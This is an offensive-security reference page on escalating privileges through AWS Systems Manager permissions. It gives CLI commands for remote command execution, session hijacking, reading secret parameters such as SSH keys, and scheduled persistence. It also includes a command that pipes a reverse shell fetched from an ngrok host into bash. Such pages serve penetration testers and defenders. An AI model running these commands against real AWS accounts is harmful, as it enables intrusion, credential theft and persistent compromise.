# AWS - SSM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SSM

For more info about SSM check:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
   --document-name "AWS-RunShellScript" --output text \
   --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```

In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with:

```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
   --document-name "AWS-RunShellScript" --output text \
   --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

### `ssm:StartSession`

An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```

> [!CAUTION]
> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

#### Privesc to ECS

When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:

```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```

![Terminal running aws ssm start-session against an ECS target and receiving a root shell](<../../../images/image (185).png>)

**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.

### `ssm:ResumeSession`

An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it.

```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
    --session-id Mary-Major-07a16060613c408b5
```

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys.

```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```

**Potential Impact:** Find sensitive information inside the parameters.

### `ssm:ListCommands`

An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them.

```
aws ssm list-commands
```

**Potential Impact:** Find sensitive information inside the command lines.

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it.

```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```

**Potential Impact:** Find sensitive information inside the output of the command lines.

### Using ssm:CreateAssociation

An attacker with the permission **`ssm:CreateAssociation`** can create a State Manager Association to automatically execute commands on EC2 instances managed by SSM. These associations can be configured to run at a fixed interval, making them suitable for backdoor-like persistence without interactive sessions.


```bash
aws ssm create-association \
  --name SSM-Document-Name \
  --targets Key=InstanceIds,Values=target-instance-id \
  --parameters commands=["malicious-command"] \
  --schedule-expression "rate(30 minutes)" \
  --association-name association-name
```

> [!NOTE]
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.

### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)

An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.

```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
  --name "target-document" \
  --document-format YAML \
  --content "file://doc.yaml" \
  --document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```

Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.

```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
  commands:
    type: StringList
    description: "The commands to run."
    displayType: textarea
mainSteps:
  - action: aws:runShellScript
    name: runCommands
    inputs:
      runCommand: 
        - "id > /tmp/pwn_test.txt"
```

### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)

An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.

``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
  --window-id "<mw-id>" \
  --resource-type "INSTANCE" \
  --targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
  --window-id "<mw-id>" \
  --task-arn "AWS-RunShellScript" \
  --task-type "RUN_COMMAND" \
  --targets "Key=WindowTargetIds,Values=<target_id>" \
  --task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
  --max-concurrency 50 \
  --max-errors 100
```

### Codebuild

You can also use SSM to get inside a codebuild project being built:

{{#ref}}
../aws-codebuild-privesc/README.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}


